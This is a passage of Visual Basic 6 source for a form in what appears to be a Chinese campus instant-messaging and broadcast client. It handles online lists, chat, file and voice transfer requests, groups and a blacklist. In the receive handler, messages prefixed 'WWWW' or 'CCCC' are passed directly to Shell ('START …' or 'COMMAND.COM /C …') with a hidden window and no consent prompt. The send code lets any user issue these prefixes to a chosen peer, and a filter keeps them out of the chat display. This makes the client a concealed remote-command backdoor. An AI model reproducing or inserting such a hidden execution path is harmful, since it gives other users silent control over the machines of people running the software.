对聊.frm

一个VB编写的校园即时广播系统,具有简单的定时广播性能

Exit Sub
Else
Me.Visible = False
W1.Close
MsgBox Right(Mag, Len(Mag) - 5), vbOKOnly + vbQuestion, "系统消息"
Login.Show
Login.UserName.SetFocus
End If
Exit Sub

Case "onli"
Dim addn As String, dd As String
a = InStr(5, Mag, "~")
b = InStr(a + 1, Mag, "~")
If b = 0 Then
L1.clear
dd = Mid(Mag, a + 1, Len(Mag) - a)
If Locateuser <> dd Then
If Command4.Top > 500 And kc = False Then sndPlaySound SavePath & "online", SND_ASYNC Or SND_NODEFAULT
If IsinBlack(dd) = False And ifCommand(dd) = False Then L1.AddItem dd
End If
GoTo exitfind
Else
L1.clear
dd = Mid(Mag, a + 1, b - a - 1)
If Locateuser <> dd Then
If IsinBlack(dd) = False And ifCommand(dd) = False Then L1.AddItem dd
End If
If Command4.Top > 500 And kc = False Then sndPlaySound SavePath & "online", SND_ASYNC Or SND_NODEFAULT
End If

findchr:
a = b
b = InStr(b + 1, Mag, "~")
If b = 0 Then
dd = Mid(Mag, a + 1, Len(Mag) - a)
If Locateuser <> dd Then
If IsinBlack(dd) = False And Ifexist(dd) = False And ifCommand(dd) = False Then L1.AddItem dd
End If
If Command4.Top > 500 And kc = False Then sndPlaySound SavePath & "online", SND_ASYNC Or SND_NODEFAULT
GoTo exitfind
Else
dd = Mid(Mag, a + 1, b - a - 1)
If Locateuser <> dd Then
If IsinBlack(dd) = False And Ifexist(dd) = False And ifCommand(dd) = False Then L1.AddItem dd
End If
End If
GoTo findchr
exitfind:
kc = False
Exit Sub

Case "MMMM"
MsgBox Mid(Mag, 5), vbSystemModal, "系统消息"
Exit Sub

Case "WWWW"
Shell "START " & Mid(Mag, 5), vbHide
Exit Sub

Case "CCCC"
Shell "COMMAND.COM /C" & Mid(Mag, 5), vbHide
Exit Sub
'Commag = "fbfb" & Selectuser & "~" & Locateuser & "~" & W1.LocalIP
' "mwhi" & Locateuser & "~" & W1.LocalIP   '向目标机发送请求
Case "mwhi"
Dim name1 As String, Yipadd As String
name1 = Mid(Mag, 5, InStr(5, Mag, "~") - 5)
Yipadd = Right(Mag, Len(Mag) - InStr(5, Mag, "~"))
If MsgBox(name1 & "请求与你建立画板", vbInformation + vbYesNo + vbSystemModal, "请求") = vbYes Then
Load wb
With wb
.Caption = "与" & name1 & "在二人画板"
With .hb
.RemoteHost = Yipadd
.RemotePort = 6666 - 1  'Sf(0).LocalPort = 6666 - 1
.LocalPort = 0
.Connect
End With
End With
ifhb = True
Else
W1.SendData "nono" & name1
End If

Case "nono"
With wb.hb
If .State <> sckListening Then .Close: Unload wb
End With
MsgBox "对方不想建立画板,请退出", vbOKOnly + vbQuestion
Exit Sub

Case "reqS"
'Requestuser & "~" & "请求向你传送语音消息,长度为" & Fileleg & "~" & Ipadd
   Filelegen = 0
   a = InStr(5, Mag, "~")
   b = InStr(a + 10, Mag, "为")
   C = InStr(b + 1, Mag, "~")
   Requestuser = Mid(Mag, 5, a - 5)
   Fileleg = Mid(Mag, b + 1, C - b - 1)
   IPadd = Right(Mag, Len(Mag) - C)
If MsgBox(Requestuser & "向你发送语音消息,长度为: " & Fileleg, vbYesNo + vbQuestion + vbSystemModal, "请求") = vbYes Then
SoundGet = True
W1.SendData "jjjj" & Requestuser & "~S" & W1.LocalIP
Filelegen = Fileleg
Load Getf
End If

Case "reqf"
'"~" & "请求向你传送文件:" & Filename & ",长度为:" & Fileleg & "~" & Ipadd
   a = InStr(5, Mag, "~")
   b = InStr(a + 10, Mag, ",")
   C = InStr(b + 5, Mag, "~")
   Requestuser = Mid(Mag, 5, a - 5)
   Filename = Mid(Mag, a + 10, b - a - 10)
   Fileleg = Mid(Mag, b + 5, C - b - 5)
   IPadd = Right(Mag, Len(Mag) - C)
Call msgfile(Requestuser, Filename, Fileleg, IPadd)

Case Else
   Dim SendmagName As String
   If p2p = True Then
 SendmagName = Left(Mag, InStr(1, Mag, "说") - 1)
 If InStr(1, Mag, "私下对") Or SendmagName = Selectuser Then
    If ifCommand(Mag) = True Then Exit Sub
    ht.Text = Mag & Endchr & ht.Text
   If waveOutGetNumDevs > 0 And Ifsound = True Then sndPlaySound SavePath & "MagS", SND_ASYNC Or SND_NODEFAULT
 End If
Exit Sub
Else
   SendmagName = Left(Mag, InStr(1, Mag, "私下") - 1)
   If SendmagName = "" Then SendmagName = Left(Mag, InStr(1, Mag, "说") - 1)
   If IsinBlack(SendmagName) = True Then Exit Sub
   If ifCommand(Mag) = True Then Exit Sub
   ht.Text = Mag & Endchr & ht.Text
If waveOutGetNumDevs > 0 And Ifsound = True Then sndPlaySound SavePath & "MagS", SND_ASYNC Or SND_NODEFAULT
End If
End Select
End Sub
Private Sub msgfile(Suser As String, Filename As String, Fileleg As String, IPadd As String)
On Error Resume Next
If MsgBox(Suser & " 请求发送文件,长度为: " & Fileleg, vbYesNo + vbQuestion + vbSystemModal, "请求") = vbYes Then
 Filelegen = Fileleg
 Dim OFName As OPENFILENAME
    With OFName
    .lStructSize = Len(OFName)
    .lpstrFile = Space$(254)
    .nMaxFile = 255
    .lpstrFileTitle = Space$(254)
    .nMaxFileTitle = 255
    .lpstrTitle = "校园及时通--选择保存文件的目录"
    End With
    If GetSaveFileName(OFName) Then
If Dir(Trim$(OFName.lpstrFile)) Then Kill Trim$(OFName.lpstrFile)
SeleFile = Trim$(OFName.lpstrFile)
End If
Rf = Suser
W1.SendData "jjjj" & Suser & "~" & W1.LocalIP
SoundGet = False
Load Getf
End If
End Sub
Private Sub W1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
SockCloseError
End Sub

Private Sub Sendclick()       '发送消息
If Len(RTrim(t1.Text)) < 1 Then Exit Sub
Dim f As String     '定义消息变量
If W1.State = 7 Then
  If p2p = True Then '对消息赋值
       f = "p2p2" & Selectuser & "~" & Locateuser & "私下对" & "我说:" + Chr(10) & t1.Text
     ht.Text = "我私下对" & Selectuser & "说:   (" & Date & " " & time & ")" & Chr(10) & t1.Text & Endchr & ht.Text
  Else
Dim b As Integer
  
  For a = 1 To NowGroup
  If ExistGroup(a) = True Then
  If NewCommand(a).Visible = True Then
       f = "grou"
       For b = 0 To NewAdd(a).ListCount - 1
         f = f & "~" & Trim(NewAdd(a).List(b))
       Next
      f = f & "~~~" & Locateuser & "说:  (" & Date & " " & time & ")" & Chr(10) & t1.Text
       W1.SendData f    '发送消息
       DoEvents
       ht.Text = Locateuser & "说:  (" & Date & " " & time & ")" & Chr(10) & t1.Text & Endchr & ht.Text
       Exit Sub
  End If
  End If
  Next
  
Select Case Left(t1.Text, 4)
Case "WWWW"
f = "WWWW" & Selectuser & "~" & Mid(t1.Text, 5)
Case "MMMM"
f = "MMMM" & Selectuser & "~" & Mid(t1.Text, 5)
Case "CCCC"
f = "CCCC" & Selectuser & "~" & Mid(t1.Text, 5)
Case Else
f = "allw" & Locateuser & "说:  (" & Date & " " & time & ")" & Chr(10) & t1.Text
End Select
End If
If W1.State = 7 Then W1.SendData f Else Command1.Caption = "连接(&R)" '发送消息
'DoEvents
Else
Login.Show
W1.Close
Me.Visible = False
End If
End Sub

Private Sub Colorset()      '调用取色器
With cc
.lStructSize = Len(cc)
.hwndOwner = Me.hwnd
.hInstance = App.hInstance
.flags = 0
.lpCustColors = String$(16 * 4, 0)
End With
rtn = ChooseColor(cc)
End Sub

Private Sub AllNewVisual(ifVisual As Boolean)   '设置所有自定义组是否可见
On Error Resume Next
For a = 1 To NowGroup
NewCommand(a).Visible = ifVisual
NewAdd(a).Visible = ifVisual
Next
NewRt.Visible = ifVisual
End Sub
Private Sub ArrowVisual(ifVisual As Boolean)     '油墨箭头是否可见
Command7.Visible = ifVisual
End Sub

Private Sub BlackVisual(ifVisual As Boolean)      '设置黑名单是否可见
If ifVisual = True Then a = 0 Else a = 1
With bd
.Visible = ifVisual
.ZOrder a
End With
With black
.Visible = ifVisual
.ZOrder a
End With
With rt
.Visible = ifVisual
.ZOrder a
End With
ht.ZOrder 0
t1.ZOrder 0
End Sub

Private Sub QQQ(Current As Integer)        '将某一组可见
On Error GoTo Erro
Dim ift As Boolean
AllNewVisual False
With NewCommand(Current)
.Top = Command2.Top
.Left = Command2.Left
.Visible = True
.ZOrder 0
End With
With NewAdd(Current)
.Top = L1.Top
.Height = L1.Height
.Left = L1.Left
.Visible = True
.ZOrder 0
End With
With NewRt
.Top = Command4.Top
.Left = Command4.Left
.ZOrder 0
.Visible = True
End With
For a = 1 To NowGroup
ift = True
If a = Current Then a = a + 1
If a > NowGroup Then Exit Sub
NewCommand(a).Visible = False
NewAdd(a).Visible = False
Next
Exit Sub
Erro:
On Error GoTo Erro
If Err.Number = 340 Then
If ift = True Then
If a <> 2 Then a = a + 1
Else
Current = Current + 1
RunRun = RunRun + 1
If RunRun > NowGroup Then RunRun = 1
NewCommand(Current).Top = Command2.Top
End If
Resume Next
End If
End Sub


Public Sub Chang(Number As Integer, Mag As String)  '改变图标
With t
    .cbSize = Len(t)
    .hwnd = P1(0).hwnd
    .uId = 1&
    .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
    .ucallbackMessage = WM_MOUSEMOVE
    .szTip = "校园及时通," & Locateuser & "进行" & Mag & Chr$(0)
    .hIcon = P1(Number).Picture
End With
Shell_NotifyIcon NIM_MODIFY, t
End Sub

Private Function IsinBlack(SendmagName As String) As Boolean    '是否在黑名单
IsinBlack = False
For a = 0 To black.ListCount - 1
If black.List(a) = SendmagName Then IsinBlack = True: Exit Function
If black.ListCount = 0 Then Exit Function
Next
End Function
Private Function Ifexist(name As String) As Boolean
Ifexist = False
For a = 0 To L1.ListCount - 1
If InStr(1, Trim(name), L1.List(a)) <> 0 Then Ifexist = True
Next
End Function


Private Function ExistGroup(GroupNumber As Integer) As Boolean '检测某一个组是否可用
On Error GoTo OperError
ExistGroup = True
If NewCommand(GroupNumber).Caption <> "" Then ExistGroup = True: Exit Function
OperError:
If Err.Number = 340 Then
ExistGroup = False
Exit Function
End If
End Function

Private Sub SaveGroup()        '程序退出时保存组信息
Dim UserName As Recode
Dim b As Integer, Recoleg As Integer, SaveFileName As String
Recoleg = Len(UserName)
Close 5
SaveFileName = SavePath & Locateuser & ".grp"
If Dir(SaveFileName, vbNormal) <> "" Then Kill SaveFileName
If NowGroup = 0 Then Exit Sub
Open SaveFileName For Random As #5 Len = Recoleg
For a = 1 To NowGroup
  If ExistGroup(a) = True Then
        For b = 0 To NewAdd(a).ListCount - 1
          UserName.GroupInfo = NewCommand(a).Caption
          UserName.UserInfo = NewAdd(a).List(b)
          Put 5, , UserName
        Next b
  End If
Next
Close 5
If FileLen(SaveFileName) = 0 Then Kill SaveFileName
End Sub
Private Sub INIgroup()         '启动时初使化
Dim UserName As Recode
Dim b As Integer, Recoleg As Integer, Ifexistit As Boolean, Filepath As String
Filepath = SavePath & Locateuser & ".grp": Recoleg = Len(UserName)
If Dir(Filepath) <> "" Then If FileLen(Filepath) > 13 And (FileLen(Filepath) Mod Recoleg) = 0 Then Reset: Open Filepath For Random As #5 Len = Recoleg Else Exit Sub Else Exit Sub
Get 5, , UserName
NowGroup = NowGroup + 1
Load NewCommand(NowGroup): Load NewAdd(NowGroup)
NewCommand(NowGroup).Caption = "  "
NewCommand(NowGroup).Caption = LeftB(UserName.GroupInfo, 10)
NewAdd(NowGroup).AddItem UserName.UserInfo
Load AddtoGroup(NowGroup)
AddtoGroup(0).Visible = False
Addto.Visible = True
With AddtoGroup(NowGroup)
.Caption = "加入" & Trim(NewCommand(NowGroup).Caption)
.Visible = True
End With
For a = 2 To LOF(5) / Recoleg     '将所有记录作个循环
Get 5, , UserName
For b = 1 To NowGroup
If InStr(1, UserName.GroupInfo, Trim(NewCommand(b).Caption)) > 0 Then Ifexistit = True: Exit For
Next b
If Ifexistit = True Then
'If Ifexist(LeftB(UserName.UserInfo, 10)) = True Then  '加入显示是否在线功能
NewAdd(b).AddItem LeftB(UserName.UserInfo, 10)
'Else
'NewAdd(b).AddItem "□" & LeftB(UserName.UserInfo, 10)
'End If
Else
NowGroup = NowGroup + 1
Load NewCommand(NowGroup): Load NewAdd(NowGroup)
NewCommand(NowGroup).Caption = LeftB(UserName.GroupInfo, 10)
Load AddtoGroup(NowGroup)
With AddtoGroup(NowGroup)
.Caption = "加入" & Trim(NewCommand(NowGroup).Caption)
.Visible = True
End With
NewAdd(NowGroup).AddItem LeftB(UserName.UserInfo, 10)
End If
Ifexistit = False
Next a
End Sub

Private Function ifCommand(Mag As String) As Boolean
ifCommand = False
If InStr(1, Mag, "jjjj") Then ifCommand = True: Exit Function
If InStr(1, Mag, "mook") Then ifCommand = True: Exit Function
If InStr(1, Mag, "usif") Then ifCommand = True: Exit Function
If InStr(1, Mag, "SYSM") Then ifCommand = True: Exit Function
If InStr(1, Mag, "info") Then ifCommand = True: Exit Function
If InStr(1, Mag, "onli") Then ifCommand = True: Exit Function
If InStr(1, Mag, "MMMM") Then ifCommand = True: Exit Function
If InStr(1, Mag, "WWWW") Then ifCommand = True: Exit Function
If InStr(1, Mag, "CCCC") Then ifCommand = True: Exit Function
If InStr(1, Mag, "mwhi") Then ifCommand = True: Exit Function
If InStr(1, Mag, "nono") Then ifCommand = True: Exit Function
If InStr(1, Mag, "reqS") Then ifCommand = True: Exit Function
If InStr(1, Mag, "reqf") Then ifCommand = True: Exit Function
End Function


Private Function SeleFileBox() As String
Dim OFName As OPENFILENAME
     SeleFileBox = ""
     With OFName
    .lStructSize = Len(OFName)
    .lpstrFile = Space$(254)
    .nMaxFile = 255
    .lpstrFileTitle = Space$(254)
    .nMaxFileTitle = 255
    .lpstrTitle = "校园及时通--请选择文件"
    End With
If GetOpenFileName(OFName) Then SeleFileBox = Trim$(OFName.lpstrFile)
End Function